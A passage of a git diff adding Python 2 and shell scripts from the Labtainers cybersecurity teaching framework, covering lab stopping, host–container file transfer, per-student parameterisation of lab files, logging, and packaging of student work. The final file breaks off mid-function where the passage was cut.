a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/stop.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/stop.py new file mode 100755 index 000000000..a4cc8abac --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/stop.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +''' +Stop a given Labtainers lab. If no arguments are given, then all running +labs will be stopped. +''' + +import sys +import os +import labutils +import logging +import LabtainerLogging +import CurrentLab +import argparse + +# Usage: stop.py +# Arguments: +# - the lab to stop +def main(): + parser = argparse.ArgumentParser(description='Stop a Labtainers lab. If no arguments are provided, then all labs are stopped.') + parser.add_argument('lab', nargs='?', default='all') + args = parser.parse_args() + + labname = args.lab + lablist = [] + if labname != 'all': + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + lablist.append(labname) + else: + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + lablist = labutils.GetListRunningLab() + + for labname in lablist: + labutils.logger.INFO("Begin logging stop.py for %s lab" % labname) + # Pass 'False' to ignore_stop_error (i.e., do not ignore error) + lab_path = os.path.join(os.path.abspath('../../labs'), labname) + has_running_containers, running_containers_list = labutils.GetRunningContainersList() + if has_running_containers: + has_lab_role, labnamelist = labutils.GetRunningLabNames(running_containers_list) + if has_lab_role: + if labname not in labnamelist: + labutils.logger.ERROR("No lab named %s in currently running labs!" % labname) + sys.exit(1) + else: + labutils.logger.ERROR("Student is not running any labs") + sys.exit(1) + else: + labutils.logger.ERROR("No running labs at all") + sys.exit(1) + current_lab = CurrentLab.CurrentLab() + clone_count = current_lab.get('clone_count') + servers = current_lab.get('servers') + labutils.StopLab(lab_path, False, servers=servers, clone_count=clone_count) + current_lab.clear() + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/stoplab b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/stoplab new file mode 100755 index 000000000..00e385c0d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/stoplab @@ -0,0 +1,2 @@ +#!/bin/bash +stop.py $@ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/transfer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/transfer.py new file mode 100755 index 000000000..33a6cec17 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/transfer.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python + +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +# Filename: transfer.py +# Description: +# This is the script to be run by the student to transfer file +# to/from the container from/to the host. +# Note: +# 1. It needs 'start.config' file, where +# is given as a parameter to the script. +# +# It will perform the following tasks: +# a. If 'direction' is not specified, then 'direction' is default to 'TOHOST', +# i.e., default direction is the transfer is from the container to the host. +# b. If 'direction' is 'TOCONTAINER', then transfer is from host to the container. + +import glob +import json +import md5 +import os +import re +import subprocess +import sys +import time +import zipfile +import ParseStartConfig +import labutils +import logging +import LabtainerLogging + +LABS_ROOT = os.path.abspath("../../labs/") + +def usage(): + sys.stderr.write("Usage: transfer.py [] [TOHOST|TOCONTAINER]\n") + exit(1) + +# Usage: (see usage) +def main(): + num_args = len(sys.argv) + print "Number of argument is %d" % num_args + container = None + requested_direction = "TOHOST" + if num_args < 3: + usage() + elif num_args == 3: + container = sys.argv[1] + elif num_args == 4: + # Assume the third argument is 'TOHOST|TOCONTAINER' + requested_direction = sys.argv[3] + if requested_direction == "TOHOST": + container = sys.argv[1] + elif requested_direction == "TOCONTAINER": + container = sys.argv[1] + else: + # If third argument is not 'TOHOST|TOCONTAINER' then + # it must be the container name + # and requested_direction defaults to 'TOHOST' + container = sys.argv[3] + elif num_args == 5: + requested_direction = sys.argv[4] + if requested_direction == "TOHOST": + container = sys.argv[3] + elif requested_direction == "TOCONTAINER": + container = sys.argv[3] + else: + usage() + else: + usage() + + labname = sys.argv[1] + filename = sys.argv[2] + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging transfer.py for %s lab" % labname) + labutils.DoTransfer(labname, "student", container, filename, requested_direction) + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/ParameterParser.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/ParameterParser.py new file mode 100755 index 000000000..21fb7b7e2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/ParameterParser.py @@ -0,0 +1,632 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# ParameterParser.py +# Description: * Read parameter.config +# * Parse stdin and stdout files based on parameter.config + +import glob +import md5 +import os +import random +import sys +import ParameterizeLogging + +class ParameterParser(): + def __init__(self, container_name, container_user, lab_instance_seed, logger=None, lab=None): + ''' NOTE: container_name is none if running on Linux host vice a container, e.g., for start.config ''' + self.randreplacelist = {} + self.unique_values = {} + self.hashcreatelist = {} + self.hashreplacelist = {} + self.clonereplacelist = {} + self.paramlist = {} + self.container_user = container_user + self.container_name = container_name + self.lab_instance_seed = lab_instance_seed + self.lab = lab + if logger is None: + self.logger = ParameterizeLogging.ParameterizeLogging("/tmp/parameterize.log") + else: + self.logger = logger + self.logger.DEBUG('start parsing parameters') + + def WatermarkCreate(self): + watermarkcreatelist = {} + the_watermark_string = "LABTAINER_WATERMARK1" + # Create hash per the_watermark_string (note: there is only one watermark file for now) + string_to_be_hashed = '%s:%s' % (self.lab_instance_seed, the_watermark_string) + mymd5 = md5.new() + mymd5.update(string_to_be_hashed) + mymd5_hex_string = mymd5.hexdigest() + #logger.DEBUG(mymd5_hex_string) + + # Assume only one watermark file with filename /home//.local/.watermark + myfilename = '/home/%s/.local/.watermark' % self.container_user + + # If file does not exist, create an empty file + if not os.path.exists(myfilename): + outfile = open(myfilename, 'w') + outfile.write('') + outfile.close() + + # Only one watermark file for now + watermarkcreatelist[myfilename] = [] + watermarkcreatelist[myfilename].append('%s' % mymd5_hex_string) + + #logger.DEBUG("Perform_WATERMARK_CREATE") + for (listfilename, createlist) in watermarkcreatelist.items(): + filename = listfilename + #logger.DEBUG("Current Filename is %s" % filename) + #print "Watermark Create list is " + #print createlist + # open the file - write + outfile = open(filename, 'w') + for the_string in createlist: + outfile.write('%s\n' % the_string) + outfile.close() + + def CheckRandReplaceEntry(self, param_id, each_value, unique=False): + # RAND_REPLACE : : : : + #print "Checking RAND_REPLACE entry" + entryline = each_value.split(': ') + #print entryline + numentry = len(entryline) + if numentry != 4: + self.logger.ERROR("RAND_REPLACE (%s) improper format" % each_value) + #logger.ERROR("RAND_REPLACE : : : : ") + sys.exit(1) + myfilename_field = entryline[0].strip() + token = entryline[1].strip() + #print "filename is (%s)" % myfilename + #print "token is (%s)" % token + + # Converts lowerbound and upperbound as integer - and pass to + # random.randint(a,b) + # Starts with assuming will use integer (instead of hexadecimal) + use_integer = True + lowerboundstr = entryline[2].strip() + if lowerboundstr.startswith('0x'): + use_integer = False + lowerbound_int = int(lowerboundstr, 16) + else: + lowerbound_int = int(lowerboundstr, 10) + upperboundstr = entryline[3].strip() + if upperboundstr.startswith('0x'): + if use_integer == True: + # Inconsistent format of lowerbound (integer format) + # vs upperbound (hexadecimal format) + self.logger.ERROR("RAND_REPLACE (%s) inconsistent lowerbound/upperbound format" % each_value) + #self.logger.ERROR("RAND_REPLACE : : : : ") + sys.exit(1) + use_integer = False + upperbound_int = int(upperboundstr, 16) + else: + if use_integer == False: + # Inconsistent format of lowerbound (hexadecimal format) + # vs upperbound (integer format) + self.logger.ERROR("RAND_REPLACE (%s) inconsistent lowerbound/upperbound format" % each_value) + #self.logger.ERROR("RAND_REPLACE : : : : ") + sys.exit(1) + upperbound_int = int(upperboundstr, 10) + #print "lowerbound is (%d)" % lowerbound_int + #print "upperbound is (%d)" % upperbound_int + if lowerbound_int > upperbound_int: + self.logger.ERROR("RAND_REPLACE (%s) lowerbound greater than upperbound" % each_value) + sys.exit(1) + if unique: + key = '%d-%d' % (lowerbound_int, upperbound_int) + if key not in self.unique_values: + self.unique_values[key] = [] + num_possible = upperbound_int - lowerbound_int + 1 + if len(self.unique_values) >= num_possible: + self.logger.ERROR("unqiue values for %s consumed" % key) + sys.exit(1) + while True: + random_int = random.randint(lowerbound_int, upperbound_int) + if random_int not in self.unique_values[key]: + self.unique_values[key].append(random_int) + break + else: + random_int = random.randint(lowerbound_int, upperbound_int) + #print "random value is (%d)" % random_int + if use_integer: + random_str = '%s' % int(random_int) + else: + random_str = '%s' % hex(random_int) + + myfilename_list = myfilename_field.split(';') + for myfilename in myfilename_list: + # Check to see if ':' in myfilename + if ':' in myfilename: + # myfilename has the container_name also + tempcontainer_name, myactualfilename = myfilename.split(':') + # Assume filename is relative to /home/ + if not myactualfilename.startswith('/'): + user_home_dir = '/home/%s' % self.container_user + myfullactualfilename = os.path.join(user_home_dir, myactualfilename) + else: + myfullactualfilename = myactualfilename + myfilename = '%s:%s' % (tempcontainer_name, myfullactualfilename) + else: + # myfilename does not have the containername + # Assume filename is relative to /home/ + if not myfilename.startswith('/') and myfilename != 'start.config': + user_home_dir = '/home/%s' % self.container_user + myfullfilename = os.path.join(user_home_dir, myfilename) + else: + myfullfilename = myfilename + myfilename = myfullfilename + + if myfilename in self.randreplacelist: + self.randreplacelist[myfilename].append('%s:%s' % (token, random_str)) + else: + self.randreplacelist[myfilename] = [] + self.randreplacelist[myfilename].append('%s:%s' % (token, random_str)) + self.paramlist[param_id] = random_str + + + def CheckHashCreateEntry(self, param_id, each_value): + # HASH_CREATE : : + #print "Checking HASH_CREATE entry" + entryline = each_value.split(': ') + #print entryline + numentry = len(entryline) + if numentry != 2 and numentry != 3: + self.logger.ERROR("HASH_CREATE : : [: length]") + sys.exit(1) + myfilename_field = entryline[0].strip() + the_string = entryline[1].strip() + strlen = 32 + if numentry == 3: + try: + strlen = int(entryline[2].strip()) + except: + self.logger.ERROR("HASH_CREATE (%s) improper format" % each_value) + self.logger.ERROR("expected int for length, got %s" % entryline[2]) + sys.exit(1) + + # Create hash per the_string + string_to_be_hashed = '%s:%s' % (self.lab_instance_seed, the_string) + mymd5 = md5.new() + mymd5.update(string_to_be_hashed) + mymd5_hex_string = mymd5.hexdigest()[:strlen] + #print mymd5_hex_string + #print "filename is (%s)" % myfilename_field + #print "the_string is (%s)" % the_string + #print "mymd5_hex_string is (%s)" % mymd5_hex_string + # If container_user == "" then it must be instructor container + # then skip actual creation of hash file + if self.container_user != "": + # Check to see if ':' in myfilename + myfilename_list = myfilename_field.split(';') + for myfilename in myfilename_list: + if ':' in myfilename: + # myfilename has the container_name also + tempcontainer_name, myactualfilename = myfilename.split(':') + # Assume filename is relative to /home/ + if not myactualfilename.startswith('/'): + user_home_dir = '/home/%s' % self.container_user + myfullactualfilename = os.path.join(user_home_dir, myactualfilename) + else: + myfullactualfilename = myactualfilename + myfilename = '%s:%s' % (tempcontainer_name, myfullactualfilename) + else: + # myfilename does not have the containername + # Assume filename is relative to /home/ + if not myfilename.startswith('/') and myfilename != 'start.config': + user_home_dir = '/home/%s' % self.container_user + myfullfilename = os.path.join(user_home_dir, myfilename) + else: + myfullfilename = myfilename + myfilename = myfullfilename + + # If file does not exist, create an empty file + if not os.path.exists(myfilename): + outfile = open(myfilename, 'w') + outfile.write('') + outfile.close() + + if myfilename in self.hashcreatelist: + self.hashcreatelist[myfilename].append('%s' % mymd5_hex_string) + else: + self.hashcreatelist[myfilename] = [] + self.hashcreatelist[myfilename].append('%s' % mymd5_hex_string) + + # Update paramlist regardless + self.paramlist[param_id] = mymd5_hex_string + + def CheckHashReplaceEntry(self, param_id, each_value): + # HASH_REPLACE : : : + #print "Checking HASH_REPLACE entry" + entryline = each_value.split(': ') + #print entryline + numentry = len(entryline) + if numentry != 3 and numentry != 4: + self.logger.ERROR("HASH_REPLACE (%s) improper format" % each_value) + #self.logger.ERROR("HASH_REPLACE : : : [: length]") + sys.exit(1) + strlen = 32 + if numentry == 4: + try: + strlen = int(entryline[3].strip()) + except: + self.logger.ERROR("HASH_REPLACE (%s) improper format" % each_value) + self.logger.ERROR("expected int for length, got %s" % entryline[3]) + sys.exit(1) + myfilename_field = entryline[0].strip() + token = entryline[1].strip() + the_string = entryline[2].strip() + # Create hash per the_string + string_to_be_hashed = '%s:%s' % (self.lab_instance_seed, the_string) + mymd5 = md5.new() + mymd5.update(string_to_be_hashed) + mymd5_hex_string = mymd5.hexdigest()[:strlen] + #print "filename is (%s)" % myfilename_field + #print "token is (%s)" % token + #print "the_string is (%s)" % the_string + + # Check to see if ':' in myfilename + myfilename_list = myfilename_field.split(';') + for myfilename in myfilename_list: + if ':' in myfilename: + # myfilename has the container_name also + tempcontainer_name, myactualfilename = myfilename.split(':') + # Assume filename is relative to /home/ + if not myactualfilename.startswith('/'): + user_home_dir = '/home/%s' % self.container_user + myfullactualfilename = os.path.join(user_home_dir, myactualfilename) + else: + myfullactualfilename = myactualfilename + myfilename = '%s:%s' % (tempcontainer_name, myfullactualfilename) + else: + # myfilename does not have the containername + # Assume filename is relative to /home/ + if not myfilename.startswith('/') and myfilename != 'start.config': + + user_home_dir = '/home/%s' % self.container_user + myfullfilename = os.path.join(user_home_dir, myfilename) + else: + myfullfilename = myfilename + myfilename = myfullfilename + + if myfilename in self.hashreplacelist: + self.hashreplacelist[myfilename].append('%s:%s' % (token, mymd5_hex_string)) + else: + self.hashreplacelist[myfilename] = [] + self.hashreplacelist[myfilename].append('%s:%s' % (token, mymd5_hex_string)) + self.paramlist[param_id] = mymd5_hex_string + + def CheckCloneReplaceEntry(self, param_id, each_value): + # HASH_REPLACE : : : + #print "Checking HASH_REPLACE entry" + if self.container_name is None: + return + entryline = each_value.split(': ') + #print entryline + numentry = len(entryline) + + myfilename_field = entryline[0].strip() + token = entryline[1].strip() + clone_num = '' + if '-' in self.container_name: + dumb, clone_num = self.container_name.rsplit('-', 1) + # Check to see if ':' in myfilename + myfilename_list = myfilename_field.split(';') + for myfilename in myfilename_list: + if ':' in myfilename: + # myfilename includes the container_name + tempcontainer_name, myactualfilename = myfilename.split(':') + self.logger.DEBUG('tmpcontainer_name is %s fname %s' % (tempcontainer_name, myactualfilename)) + # Assume filename is relative to /home/ + if not myactualfilename.startswith('/'): + user_home_dir = '/home/%s' % self.container_user + myfullactualfilename = os.path.join(user_home_dir, myactualfilename) + else: + myfullactualfilename = myactualfilename + if clone_num != '': + myfilename = '%s-%s:%s' % (tempcontainer_name, clone_num, myfullactualfilename) + else: + myfilename = '%s:%s' % (tempcontainer_name, myfullactualfilename) + self.logger.DEBUG('myfilename now %s' % myfilename) + else: + # myfilename does not have the containername + # Assume filename is relative to /home/ + if not myfilename.startswith('/') and myfilename != 'start.config': + + user_home_dir = '/home/%s' % self.container_user + myfullfilename = os.path.join(user_home_dir, myfilename) + else: + myfullfilename = myfilename + myfilename = myfullfilename + + if myfilename not in self.clonereplacelist: + self.clonereplacelist[myfilename] = [] + self.clonereplacelist[myfilename].append('%s:%s' % (token, clone_num)) + self.paramlist[param_id] = clone_num + + + def ValidateParameterConfig(self, param_id, each_key, each_value): + ''' build file/token replacment list for each type of replacement ''' + if each_key == "RAND_REPLACE": + #print "RAND_REPLACE" + self.CheckRandReplaceEntry(param_id, each_value) + elif each_key == "RAND_REPLACE_UNIQUE": + #print "RAND_REPLACE" + self.CheckRandReplaceEntry(param_id, each_value, unique=True) + elif each_key == "HASH_CREATE": + #print "HASH_CREATE" + self.CheckHashCreateEntry(param_id, each_value) + elif each_key == "HASH_REPLACE": + #print "HASH_REPLACE" + self.CheckHashReplaceEntry(param_id, each_value) + elif each_key == "CLONE_REPLACE": + #print "CLONE" + self.CheckCloneReplaceEntry(param_id, each_value) + else: + self.logger.ERROR("ParseParameter.py, ValidateParameterConfig, Invalid operator %s" % each_key) + sys.exit(1) + return 0 + + # Perform RAND_REPLACE + def Perform_RAND_REPLACE(self): + # At this point randreplacelist should have been populated + # and files have been confirmed to exist + + #print "Perform_RAND_REPLACE" + for (listfilename, replacelist) in self.randreplacelist.items(): + if self.container_name is None: + ''' running on linux host before container creation ''' + if listfilename != 'start.config': + #print('listfile is <%s>' % listfilename) + self.logger.DEBUG('running on host, not start.config') + continue + else: + filename = os.path.join('./.tmp', self.lab, 'start.config') + elif ':' in listfilename: + # listfilename has the containername also + if self.container_name != "" and listfilename.startswith(self.container_name+':'): + tmp_container_name, filename = listfilename.split(':') + else: + # Not for this container + continue + elif listfilename == 'start.config': + continue + else: + filename = listfilename + #print "Current Filename is %s" % filename + if not os.path.exists(filename): + self.logger.ERROR("Perform_RAND_REPLACE: File %s does not exist" % filename) + sys.exit(1) + #else: + # print "File (%s) exist\n" % filename + #print "Replace list is " + #print replacelist + content = None + # First open the file - read + infile = open(filename, 'r') + content = infile.read() + for replaceitem in replacelist: + (oldtoken, newtoken) = replaceitem.split(':') + content = content.replace(oldtoken, newtoken) + infile.close() + # Re-open file with write + outfile = open(filename, 'w') + outfile.write(content) + outfile.close() + + + + # Perform HASH_CREATE + def Perform_HASH_CREATE(self): + # At this point hashcreatelist should have been populated + # and files have been confirmed to exist or created + + #print "Perform_HASH_CREATE" + for (listfilename, createlist) in self.hashcreatelist.items(): + if self.container_name is None: + ''' running one linux host before container creation ''' + if listfilename != 'start.config': + #print('listfile is <%s>' % listfilename) + self.logger.DEBUG('running on host, not start.config') + continue + else: + filename = '/tmp/start.config' + elif ':' in listfilename: + # listfilename has the containername also + if self.container_name != "" and listfilename.startswith(self.container_name+':'): + tmp_container_name, filename = listfilename.split(':') + else: + # Not for this container + continue + else: + filename = listfilename + #print "Current Filename is %s" % filename + #print "Hash Create list is " + #print createlist + # open the file - write + outfile = open(filename, 'w') + for the_string in createlist: + outfile.write('%s\n' % the_string) + outfile.close() + + # Perform HASH_REPLACE + def Perform_HASH_REPLACE(self): + # At this point hashreplacelist should have been populated + # and files have been confirmed to exist + + #print "Perform_HASH_REPLACE" + #print hashreplacelist + for (listfilename, replacelist) in self.hashreplacelist.items(): + if self.container_name is None: + ''' running one linux host before container creationt ''' + if listfilename != 'start.config': + #print('listfile is <%s>' % listfilename) + self.logger.DEBUG('running on host, not start.config') + continue + else: + filename = '/tmp/start.config' + elif ':' in listfilename: + # listfilename has the containername also + #print "listfilename is (%s)" % listfilename + #print "container_name is (%s)" % container_name + if self.container_name != "" and listfilename.startswith(self.container_name+':'): + #print "Yes it startswith" + tmp_container_name, filename = listfilename.split(':') + else: + #print "No it does not startswith" + # Not for this container + continue + else: + #print "Does not have :" + filename = listfilename + #print "Current Filename is %s" % filename + if not os.path.exists(filename): + self.logger.ERROR("Perform_HASH_REPLACE: File %s does not exist" % filename) + sys.exit(1) + #else: + # print "File (%s) exist\n" % filename + #print "Replace list is " + #print replacelist + content = None + + infile = open(filename, 'r') + content = infile.read() + for replaceitem in replacelist: + (oldtoken, newtoken) = replaceitem.split(':') + content = content.replace(oldtoken, newtoken) + infile.close() + # Re-open file with write + outfile = open(filename, 'w') + outfile.write(content) + outfile.close() + + def Perform_CLONE_REPLACE(self): + #print clonereplacelist + if self.container_name is None: + ''' running on linux host prior to container creation ''' + return + for (listfilename, replacelist) in self.clonereplacelist.items(): + if ':' in listfilename: + # listfilename includes the containername + #print "listfilename is (%s)" % listfilename + #print "container_name is (%s)" % container_name + self.logger.DEBUG('self.container_name is <%s>, listfilename is <%s>' % (self.container_name, listfilename)) + if self.container_name != "" and listfilename.startswith(self.container_name+':'): + #print "Yes it startswith" + tmp_container_name, filename = listfilename.split(':') + else: + #print "No it does not startswith" + # Not for this container + self.logger.DEBUG('does not startwith') + continue + else: + #print "Does not have :" + filename = listfilename + self.logger.DEBUG("Current Filename is %s" % filename) + if not os.path.exists(filename): + self.logger.ERROR("Perform_CLONE_REPLACE: File %s does not exist" % filename) + sys.exit(1) + #else: + # print "File (%s) exist\n" % filename + #print "Replace list is " + #print replacelist + content = None + + infile = open(filename, 'r') + content = infile.read() + for replaceitem in replacelist: + (oldtoken, newtoken) = replaceitem.split(':') + content = content.replace(oldtoken, newtoken) + infile.close() + # Re-open file with write + outfile = open(filename, 'w') + outfile.write(content) + outfile.close() + def DoReplace(self): + # Do create Watermark here - instructor container does not call this + #print "WATERMARK_CREATE" + if self.container_name is not None: + self.WatermarkCreate() + + # Perform RAND_REPLACE + self.Perform_RAND_REPLACE() + # Perform HASH_CREATE + self.Perform_HASH_CREATE() + # Perform HASH_REPLACE + self.Perform_HASH_REPLACE() + # Perform CLONE_REPLACE + self.Perform_CLONE_REPLACE() + self.logger.DEBUG('done parsing parameters') + + def ParseParameterConfig(self, configfilename): + # Seed random with lab seed + random.seed(self.lab_instance_seed) + configfile = open(configfilename) + configfilelines = configfile.readlines() + configfile.close() + + for line in configfilelines: + linestrip = line.rstrip() + if linestrip: + if not linestrip.startswith('#'): + #print "Current linestrip is (%s)" % linestrip + (param_id, each_key, each_value) = linestrip.split(': ', 2) + each_key = each_key.strip() + param_id = param_id.strip() + self.ValidateParameterConfig(param_id, each_key, each_value) + #else: + # print "Skipping empty linestrip is (%s)" % linestrip + return self.paramlist + + + +# Usage: ParameterParser.py [] +# Arguments: +# - username of the container +# - laboratory instance seed +# - name of the container" +# [] - optional configuration file +# if not specified, it defaults to +# $HOME/.local/config/parameter.config +def main(): + container_name = None + #print "Running ParameterParser.py" + numargs = len(sys.argv) + if not (numargs == 4 or numargs == 5): + logger = ParameterizeLogging.ParameterizeLogging("/tmp/parameterize.log") + logger.ERROR("ParameterParser.py []") + sys.exit(1) + + container_user = sys.argv[1] + lab_instance_seed = sys.argv[2] + try: + container_name = sys.argv[3].split('.')[1] + except: + logger = ParameterizeLogging.ParameterizeLogging("/tmp/parameterize.log") + logger.ERROR('Could not parse container name from %s' % sys.argv[3]) + sys.exit(1) + + if numargs == 5: + configfilename = sys.argv[4] + else: + configfilename = '/home/%s/.local/config/%s' % (container_user, "parameter.config") + + pp = ParameterParser(container_name, container_user, lab_instance_seed) + ''' build the list of files and token replacements within those files ''' + pp.ParseParameterConfig(configfilename) + ''' do the replacement ''' + pp.DoReplace() + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/ParameterizeLogging.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/ParameterizeLogging.py new file mode 100755 index 000000000..8c04b92a9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/ParameterizeLogging.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +import inspect +import logging +import os +import sys +import re + + +class ParameterizeLogging(): + def __init__(self, logfilename): + #print "filename is (%s)" % logfilename + #print "labname is (%s)" % labname + + file_log_level = logging.DEBUG + console_log_level = logging.WARNING + + self.logger = logging.getLogger('student.log') + self.logger.setLevel(file_log_level) + formatter = logging.Formatter('[%(asctime)s - %(levelname)s : %(message)s') + + file_handler = logging.FileHandler(logfilename) + file_handler.setLevel(file_log_level) + file_handler.setFormatter(formatter) + + console_handler = logging.StreamHandler() + console_handler.setLevel(console_log_level) + console_handler.setFormatter(formatter) + + self.logger.addHandler(file_handler) + self.logger.addHandler(console_handler) + + def DEBUG(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.debug(linemessage) + + def INFO(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.info(linemessage) + + def WARNING(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.warning(linemessage) + + def ERROR(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.error(linemessage) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/Student.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/Student.py new file mode 100755 index 000000000..102e505cf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/Student.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Student.py +# Description: Create a zip file containing the student's lab work +# Also kill any lingering monitored processes + +import glob +import os +import subprocess +import sys +import zipfile +import datetime +import time +import logging + + +def killMonitoredProcess(homeLocal, keep_running, logger): + if not keep_running: + cmd = "ps ax -o \"%r %c\" | grep [c]apinout | awk '{print $1}' | uniq" + else: + cmd = "ps ax | grep [c]apinout | awk '{print $6}'" + child = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + done = False + logger.debug("cmd was %s" % cmd) + while not done: + line = child.stdout.readline().strip() + logger.debug('got line %s' % line) + if len(line)>0: + if not keep_running: + cmd = 'kill -INT -%s' % line + logger.debug('cmd is %s' % cmd) + os.system(cmd) + else: + print line + + else: + done = True + if not keep_running: + kill_proc = os.path.join(homeLocal, 'bin', 'killproc') + if os.path.isfile(kill_proc): + fh = open(kill_proc) + for line in fh: + cmd = 'pkill %s' % line + logger.debug('pkill_proc cmd is %s' % cmd) + os.system(cmd) + fh.close() + +def main(): + #print "Running Student.py" + if len(sys.argv) != 4: + sys.stderr.write("Usage: Student.py \n") + return 1 + + file_log_level = logging.DEBUG + console_log_level = logging.WARNING + + logger = logging.getLogger('/tmp/student.log') + logger.setLevel(file_log_level) + formatter = logging.Formatter('[%(asctime)s - %(levelname)s : %(message)s') + + file_handler = logging.FileHandler('/var/tmp/cleanup.log') + file_handler.setLevel(file_log_level) + file_handler.setFormatter(formatter) + + console_handler = logging.StreamHandler() + console_handler.setLevel(console_log_level) + console_handler.setFormatter(formatter) + + logger.addHandler(file_handler) + logger.addHandler(console_handler) + logger.debug('begin') + + + user_name = sys.argv[1] + container_image = sys.argv[2].split('.')[1] + keep_running = sys.argv[3] + studentHomeDir = os.path.join('/home',user_name) + homeLocal= os.path.join(studentHomeDir, '.local') + killMonitoredProcess(homeLocal, keep_running, logger) + os.chdir(studentHomeDir) + student_email_file=os.path.join(homeLocal, '.email') + lab_name_file=os.path.join(homeLocal, '.labname') + if not os.path.isfile(student_email_file): + print('No email file at %s, exit.' % student_email_file) + return 1 + fh = open(student_email_file) + student_email = fh.read().strip() + fh.close() + fh = open(lab_name_file) + lab_name = fh.read().strip() + fh.close() + # NOTE: Always store as e-mail+lab_name.zip + # e-mail+lab_name.zip will be renamed by stop.py (add containername) + zipFileName = '%s.%s.zip' % (student_email.replace("@","_at_"), lab_name) + + #print 'The lab name is (%s)' % LabName + #print 'Output zipFileName is (%s)' % zipFileName + homeLocal = os.path.join(homeLocal, 'zip') + if not os.path.isdir(homeLocal): + os.makedirs(homeLocal) + OutputName=os.path.join(homeLocal, zipFileName) + TempOutputName=os.path.join("/tmp/", zipFileName) + # Remove temp zip file and any zip file in homeLocal + if os.path.exists(TempOutputName): + os.remove(TempOutputName) + if os.path.exists(OutputName): + os.remove(OutputName) + zip_filenames = glob.glob('%s*.zip' % homeLocal) + for zip_file in zip_filenames: + 